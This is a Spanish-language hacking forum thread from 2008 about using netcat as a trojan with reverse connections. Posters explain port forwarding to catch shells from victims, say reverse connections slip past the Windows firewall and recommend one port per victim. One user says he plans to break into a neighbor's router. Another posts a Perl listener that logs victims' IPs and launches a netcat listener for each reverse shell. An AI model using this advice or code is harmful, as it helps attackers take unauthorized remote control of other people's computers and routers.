Autor
|
Tema: Jugando con netcat (Leído 58095 veces)
|
edu2vb
Desconectado
Mensajes: 16
|
tienes razon, es posible que el tenga que ver con el router, entonces si se puede obtener un shell dentro de una red, aunke no seas el ordenador central..gracias D4RIO fue de gran ayuda. salu2
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Desconectado
Mensajes: 1.581
|
Es una pregunta que ya se ha hecho muchas veces, siempre que estés detrás de un router, es decir que tengas 2 ip's, la externa que te otorga el router, y la interna, la ip de red, ej 192.168.x.x, tendrás que abrir, redirigir o mapear los puertos que utilices para el nc desde el router a tu ip interna, de lo contrario las solicitudes de conexion que haga el netcat a tu pc, se quedarán en el router y no llegarán a ti  Espero te sirva  Saludos
|
|
|
|
|
En línea
|
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y del Universo no estoy seguro." Albert Einstein
|
|
|
edu2vb
Desconectado
Mensajes: 16
|
osea que tengo que entrar en su router, dirigir la ip:puerto(xxx.xxx.xxx.xxx) > ip:puerto (192.x.x.x). vale y si por ejemplo si yo usara un exploit, en el que sale por un puerto y llega la shell por otro puerto.. tambien funcionaria.. ?
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Desconectado
Mensajes: 1.581
|
Debería de funcionar, debes de pensar que tu conectas a internet a traves de la ip que te otorga el router, para la web tu tienes esa ip, o sea que da igual el puerto por el que salgas, salvo que el router tenga además configurado un firewall o alguna restricción de salida, pero debes de tener presente que justamente por esto, es que actualmente no se te conecta el nc, como te dije, para la web, tu tienes esa ip, pero esa ip esta asociada al router, tu estás detrás del router, y es por eso que tienes que abrir una "ventana", un hueco, y decirle al router que la información que le llegue al puerto xxxx debe de redireccionarla a tu ip
Espero se entienda
Saludos
|
|
|
|
« Última modificación: 02 Mayo 2008, 14:15 por Novlucker »
|
En línea
|
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y del Universo no estoy seguro." Albert Einstein
|
|
|
marlon_agz
Desconectado
Mensajes: 789
Encontre el origen de los Emos xD
|
mano no te entendi una papa  le explicare con mis palabras, es igualito a cuando montas un servidor en una LAN  desde fuera, nosotros solo vemos tu ip (la del router del vecino), Si redireccionas el puerto que vas a usar por ejemplo, el puerto 80 a tu maquina, las conexiones desde afuera, por el puerto 80, van directo a tu maquina. mas claro ni el agua  y mira mas informacion... Link  salu2
|
|
|
|
|
En línea
|
|
|
|
edu2vb
Desconectado
Mensajes: 16
|
la verda eske lo he entendido a la perfeccion  , muchisimas gracias a ambos de veras estoy muy agradecido,espero poder entrar en ese router y poder configurarlo a mi necesidad sin causar muchos problemas al pobre vecino,jeje salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
HM-CrasH
Desconectado
Mensajes: 1
|
Muy buen aporte. Gracias
|
|
|
|
|
En línea
|
El fuerte es fuerte hasta que el debil quiere...
|
|
|
tyldan
Desconectado
Mensajes: 4
|
Hola a todos, Quiero saber el punto de la situacion sobre el utilizar el NetCat como trojan (estas preguntas son para el netcat en modo "reverse conection"). -El unico que bloquea el netcat puede ser un Firewall, verdad? -Existe un server del netcat para ver quales IP intentan conectarse en un puerto de tu computadora? -Si la victima tiene un firewall (como el Kaspersky... osea No Windows) bloquea la shell?
Mis pruebas acabaron con exito tambien cuando el firewall de windows estaba activo.
P.S sorry por el espanol... soy italiano, pero creo que me explique xD
|
|
|
|
|
En línea
|
|
|
|
Novlucker
Desconectado
Mensajes: 1.581
|
-El unico que bloquea el netcat puede ser un Firewall, verdad? Firewall o AV, cualquiera de los dos puede dejar sin funcionamiento el netcat -Existe un server del netcat para ver quales IP intentan conectarse en un puerto de tu computadora? No, no lo hay, si quieres tener varias víctimas deberías de utilizar puertos distintos, así te evitas problemas  -Si la victima tiene un firewall (como el Kaspersky... osea No Windows) bloquea la shell? Seguramente si lo bloqueará, ya que la mayoría de los firewall revisan las conexiones de salida, salvo que el programa este en las excepciones Mis pruebas acabaron con exito tambien cuando el firewall de windows estaba activo. Eso es porque lo estás haciendo con conexión inversa, y el firewall de windows solo controla las conexiones entrantes, pero bueno, ese firewall da lastima  Saludos
|
|
|
|
|
En línea
|
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y del Universo no estoy seguro." Albert Einstein
|
|
|
Kont
Desconectado
Mensajes: 4
|
podria utilizar netcat en una red wireless?? es decir yo me conecto desde una laptop utilizando la tergeta de red inalambrica, y las demas host no utilizan la tarjeta inalambrica si no que se encuentran conectados mediante cable, podria obtener una shell en las maquinas conectadas por cable??
gracias.
|
|
|
|
|
En línea
|
|
|
|
tyldan
Desconectado
Mensajes: 4
|
Wueno, acabo de hacer un Programa en Perl para "eschuchar" una puerta y ver los IP que intentan conectarse. Despues el programa llama el netcat con estos parametros: " start nc -L -vv -p "puera" -n "IP" Si NO tienes el netcat en System32 no sirve Si tienes el Netcat en system32 pero no se llama nc.exe no sirve igual (entonces tienes que correger el nombre) Para ejecutar ese programa tienes que instalar un interprete Perl (Active Perl o lo que sea) y poner sobre la consola "perl NombrePrograma.pl puerta" Aqui le dejo el programa: #!/usr/bin/perl
use IO::Socket;
my $port = shift or die "Uso: $0 <puerta>\n";
while(1){
system("cls"); print "\nInserta cuantos minutos quieres escuchar: ";
my $servsock = new IO::Socket::INET( LocalPort => $port, Proto => 'tcp', Listen => 1, Reuse => 1, ) or die "Impossible crear el socket: $!\n";
my $temp=<STDIN>; my $temp2=$temp*60;
$data=(time()+$temp2);
print "\nEscuchando sobre la puerta ".$port."...\n";
$c=0;
while ($data >= (time())){ $f=0;
my $sock=$servsock->accept();
for ($i=0;$i<$c;$i++){ if ($sock->peerhost()==$DB[$i]){ $f=1; } } if ($f==0){ push (@DB,$sock->peerhost()); $c++; } close ($sock); } chomp($temp); close($servsock); print "\nEn estos ".$temp."minutos, los IP que intentaron conectarse son:\n";
my $sis;
for ($i=0;$i<$c;$i++){ $temp2=$i+1; print "\n"; print $temp2; print "-"; print $DB[$i]; } my $scelta= "s\n";
while ($scelta eq "s\n"){ print "\n\nInserta el numero (indice) del ip que quieres hacer conectar:"; $temp=<STDIN>; chomp ($temp); $temp=$temp-1; $sis="start nc -L -vv -p ".$port." -n ".$DB[$temp]; print $sis; system ($sis); print "\nQuieres hacer conectar otro IP? (s/n):"; $scelta=<STDIN>; } for ($i=0;$i<$c;$i++){ pop(@DB); } }
|
|
|
|
|
En línea
|
|
|
|
tyldan
Desconectado
Mensajes: 4
|
Tiene un pequenito problema. Si por ejemplo no tienes victimas que intentan conectarse el programa espera un tempo infinito. (pq no se utilizar los Forks)
|
|
|
|
|
En línea
|
|
|
|
D4RIO
Desconectado
Mensajes: 417
"ser el mejor no es suficiente" - slackbyte
|
Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion. De todas formas todo el code está medio dudoso, poco práctico y muy poco perlero... como escrito a las apuradas. Por dar un ejemplo: print "\nInserta cuantos minutos quieres escuchar: "; my $servsock = new IO::Socket::INET( LocalPort => $port, Proto => 'tcp', Listen => 1, Reuse => 1, ) or die "Impossible crear el socket: $!\n"; my $temp=<STDIN>; En esa parte, si new IO::Socket::INET() falla y el or pasa al otro lado con el die, tu programa pedira " Inserta cuantos minutos quieres escuchar: " y luego, así como así... CRASH! a demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco. esta otra parte tambien me resulto dudosa (Tal vez por el estado somnoliento): my $temp=<STDIN>; my $temp2=$temp*60; $data=(time()+$temp2); y al final: for ($i=0;$i<$c;$i++){ $temp2=$i+1; print "\n"; print $temp2; print "-"; print $DB[$i]; }se usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones. Se ve que tenes buena base de programación, pero no usas las practicidades de Perl. Y un ultimo consejo: Si te gusta Perl deja de una vez a Microsoft y venite para Linux, donde Perl esta en su salsa.
|
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
tyldan
Desconectado
Mensajes: 4
|
Yo programo en C pero no se utilizar los Sockets, por eso hize un programa en Perl, porque me parecia mas facil. El problema es que llevo 5 dias "leyendo" el Perl (pues.. empeze desde zero) por eso no soy muy pratico y programando casi siempre en C, no me doy cuenta de algunas cosas (por ejemplo utilizando el for y no el foreach). Si alguien puede mejorar el codigo que lo haga, simplemente necesitaba algo para no cambiar puerto cada vez y mi intento era ver los ip de las victimas y conectarme una a una. Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion Mi llamada de sistema es un start, osea abre otra ventana, entoces el system acaba en un Clock. a demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco. si pero eso no influje sobre la convercion, hize pruebas. se usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones. de eso no me di quenta, pero no es fondamental. [voy a leerme algo sobre los hashes  ] Gracias por tus comentarios, se vee que tienes experiencia pero soy un newbee del perl.
|
|
|
|
« Última modificación: 19 Mayo 2008, 16:12 por tyldan »
|
En línea
|
|
|
|
|
|